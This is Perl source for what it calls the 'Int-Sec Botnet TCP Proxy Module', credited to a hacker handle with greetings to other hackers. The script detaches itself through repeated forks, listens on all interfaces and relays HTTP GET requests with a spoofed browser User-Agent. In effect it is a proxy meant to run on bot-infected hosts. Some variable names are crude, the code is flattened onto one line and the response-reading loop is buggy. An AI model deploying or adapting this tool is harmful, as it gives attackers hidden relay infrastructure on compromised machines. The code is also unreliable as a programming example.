#!/usr/bin/perl -U #Int-Sec TCP Proxy #c0d3r: ev1lut10n (A Chinese Man lives in Indonesia) #special thanks to : flyff666, gunslinger, peneter, superman, chaer newbie,wendy182,aurel #whitehat, wenkhairu, fadli,cybermutaqqin, blackn0te, ade yonatan,cakill # Danzel, x-hack,r0073r,Sid3^effects,r4dc0re,KedAns-Dz,indoushka,7, jackhaxor,root4o #zetra, exidous, snakedeyes and all d7 members eval "use IO::Socket::INET"; eval "use HTTP::Request;use LWP::UserAgent;use HTTP::Response"; if ($@) { print "\n[-] please install perl socket\n"; } sub banner() { if(!defined($port)) { print "\nInt-Sec Botnet TCP Proxy Module \n"; print "\nMade by: Ev1lut10n \n"; print "\n[-] Please supply port num!\n"; exit(); } } sub paksa_fork() { defined(my $pid = fork); if ($pid) { exit; } else { for($i=1;$i<15;$i++) { defined(my $pid = fork); if ($pid) { exit; last; } } } } sub handle() { while(1) { $client_socket = $server->accept(); $data = <$client_socket>; if (defined($data)) { $data=~ s/^\s+//; $data=~ s/\s+$//; print "Received from Client : |$data|\n"; defined(my $pidx = fork); if ($pidx) { @pecahan = split(" ", $data); our $url=$pecahan[1]; print "\n[+] requesting url:$url\n"; @pecahan2 = split("/", $url); our $host=$pecahan2[2]; print "\nconnecting to $host\n"; $sampah="http://".$host; our $fucktard=str_replace($sampah,'',$url); do_konek(); print $client_socket $isi_halaman."\n"; } close($client_socket); } } } sub do_konek() { print "\nhere i got host: |$host|\n"; my $sock = IO::Socket::INET->new(Proto => 'tcp',PeerAddr => $host,PeerPort => 80) or die $!; if($sock) { $data="GET $fucktard HTTP/1.1 Host: $host User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.10) Gecko/20100922 Ubuntu/10.10 (maverick) Firefox/3.6.10 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Proxy-Connection: keep-alive Cache-Control: max-age=0\n"; print $data; print $sock $data; while(<$sock>) { $answer=<$sock>; our $isi_halaman=$isi_halaman. $answer; } } close($sock); } sub bind_and_the_fooking_listen { $host="0.0.0.0"; our $server = IO::Socket::INET->new( LocalAddr => $host, LocalPort => $port, ReuseAddr => 1, Listen => 100 ) || die "\nUnable to listen on $host:$port: $!\n";; } sub str_replace { eval { my $replace_this = shift; my $with_this = shift; my $string = shift; my $length = length($string); my $target = length($replace_this); for(my $i=0; $i<$length - $target + 1; $i++) { if(substr($string,$i,$target) eq $replace_this) { $string = substr($string,0,$i) . $with_this . substr($string,$i+$target); return $string; #Comment this if you what a global replace } } return $string; } } our $port=$ARGV[0]; banner(); paksa_fork(); bind_and_the_fooking_listen(); handle();